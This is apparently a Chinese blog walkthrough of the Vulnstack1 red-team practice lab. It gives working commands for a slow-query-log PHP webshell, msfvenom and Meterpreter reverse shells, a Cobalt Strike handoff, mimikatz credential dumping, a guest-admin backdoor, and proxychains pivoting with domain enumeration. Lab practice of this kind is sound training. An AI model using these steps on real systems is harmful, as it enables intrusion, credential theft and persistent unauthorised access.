Featured image of post Vulnstack1

Vulnstack1

红日靶场1

靶场描述

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019

网络拓扑图

靶场搭建

VM1为win7,VM2为win2003,VM3为win2008

VM1作为内外网的枢纽,要内外网联通

三台靶机要在一个内网里, 网络适配器都要选仅主机,VM1要多弄个网卡选择NAT模式

查看网络是否联通

ip:

win7 外:192.168.184.143 内:192.168.52.143

win2003 :192.168.52.141

win2008 :192.168.52.138

VM1可以ping通外网和内网

而用kali不能ping通内网,能ping通VM1的外网

说明靶场环境搭建好了

信息收集

探测主机

能探测到VM1的外网

扫描端口

访问80端口

扫目录

外网渗透

弱口令

root/root登录到phpadmin后台

数据库写shell

可以通过into outfile或者日志写入shell

前提是secure_file_priv的值是空

SHOWGLOBALVARIABLESLIKE'%secure%'

不允许通过into outfile来写shell

慢查询日志绕过secure_file_priv写shell'

查看慢查询日志开启情况

show variables like '%slow_query_log%';

开启慢查询日志

set global slow_query_log=1;

修改日志文件存储的绝对路径

set global slow_query_log_file='C:/phpStudy/WWW/4449.php';

向日志文件中写入shellselect

select '<?php @eval($_POST[cmd]);?>' or sleep(11);

使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:

show global variables like '%long_query_time%';

执行成功

直接写个bash反弹getshell

好像弹不成功

那就用蚁剑连了

后渗透

msf

msf

1
2
3
4
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.184.128
set lport 1234

msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.184.128 lport=1234 -f exe -o run.exe

将exe通过蚁剑丢到网站上

连上

1.提权

由于直接就是administrator,所以可以直接提权到system

2.获取账号密码

1.导入账号,密码hash值:

使用windows/gather/smart_hashdump模块

2.mimikatz

加载mimikatz模块

要先将进程迁移到x64且权限为system的进程去

1
2
3
4
ps
migrate pid
load kiwi 加载kiwi
creds_all 列举系统的明文密码

cs上线

cs连上我的云服务器

cs生成木马

开启一个监听器

不知道为什么这里一定要80端口

cs生成木马

这里用的payload是上面那个

生成了木马,通过蚁剑将木马上传到服务器上

蚁剑上运行

上线了

msf 联动 cobaltstrike

msf获取到shell后,可以在提权后派发给cobaltstrike

我这里是将server放到云服务器上

1
bash teamserver 116.205.225.75 123456

首先cobaltstrike创建监听器:

msf先要连上服务器

1
2
3
4
5
6
7
exploit(handler) >  use exploit/windows/local/payload_inject 
exploit(payload_inject) >  set PAYLOAD windows/meterpreter/reverse_http   # cs监听器中相同
exploit(payload_inject) > set DisablePayloadHandler true 				  # 告诉msf已建立监听,不必新建监听
exploit(payload_inject) > set LHOST 192.168.229.143 					  # cs的IP
exploit(payload_inject) > set LPORT 3333 								  # cs监听器中监听的端口
exploit(payload_inject) > set SESSION 1  
exploit(payload_inject) > exploit 

1.cs提权

2.cs获取账号密码

查看用户hash值

使用mimikatz

破解到账号密码

可以查看登录凭证

留后门

1
2
3
4
shell net user									 # 查看本机用户
shell net user guest /active:yes						 # 激活guest
shell net user guest Aa123456					 # 给Guest用户设置密码
shell net localgroup administrators guest /add    # 将guest加入到管理员中

guest用户启用不了

远程连接

windows远程连接需要开启3389端口(远程连接端口)

msf进入shellnetstat -an | find "3389"

或者nmap查看3389端口

nmap -p 3389 ip

通过远程桌面连接

内网渗透

横向移动

搭建隧道

横向渗透前,先将该web服务器配置为代理服务器当作跳板机。

msf+proxychains

可用msf直接搭建sock隧道:
进入session,自动创建路由:

run post/multi/manage/autoroute

查看路由:
run autoroute -p

或者

1
2
3
4
5
search autoroute
use 0
set session
run
route print  #打印路由

退到上层,使用socks4a进行代理,端口与proxychains里设置一致即可:

1
2
3
background
use auxiliary/server/socks_proxy
run

可以选择socks4a或者socks5

run后 可用jobs查看任务是否执行:

jobs

1
2
要将srvhost设置为127.0.0.1
srvport 1080
1
2
3
4
5
vi /etc/proxychains4.conf										# 配置proxychains4

socks4 127.0.0.1 1080											# 这里的ip需要跟上面的socks4a模块一致 						
proxychains4 curl http://内网ip/						# 使用proxychains4代理访问被控主机,查看是否能使用						
内网ip 看ipconfig

内网信息收集

ipconfig/all

发现DNS服务器为god.org,使用net view查看域信息,发现三台主机

能看到两台主机,还有一台应该是本身这台

net view /domain查看主域信息

shell net time /domain查看时间服务器

net config workstation查询当前的登录域与用户信息(这里需要使用域用户,既未提权之前的用户)

这里由于提了权,执行失败,换了个administrator的域用户

nslookup god.org利用 nslookup 命令直接解析域名服务器

net user /domain查看当前域的所有用户

wmic useraccount get /all获取域内用户的详细信息,可以获取到用户名,描述信息,SID 域名等

net group "domain computers" /domain查看所有域成员计算机列表

net group "domain admins" /domain查看域管理员

横向探测

扫主机

msf

proxychains4只支持支持socks,http, https协议,它们都是以tcp或者udp协议为基础,而 ping用的是ICMP协议,所以使用nmap -sn是无法扫出来的,可以使用udp和tcp协议扫

使用nbname探测模块

1
2
3
use auxiliary/scanner/netbios/nbname
set rhost 192.168.52.0/24
run
cs

138和141刚好就是另外两台内网ip

或者port scan有arp扫描主机

选择内网的网段

三台主机的内网ip都出来了

扫端口

cs

nmap -sC -sV -p 1-1000 ip

nmap

注意:这里用proxychains用proxychains4没用

后面两个就内网的机子都是有ms17的漏洞

最后更新于 Mar 03, 2025 15:27 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计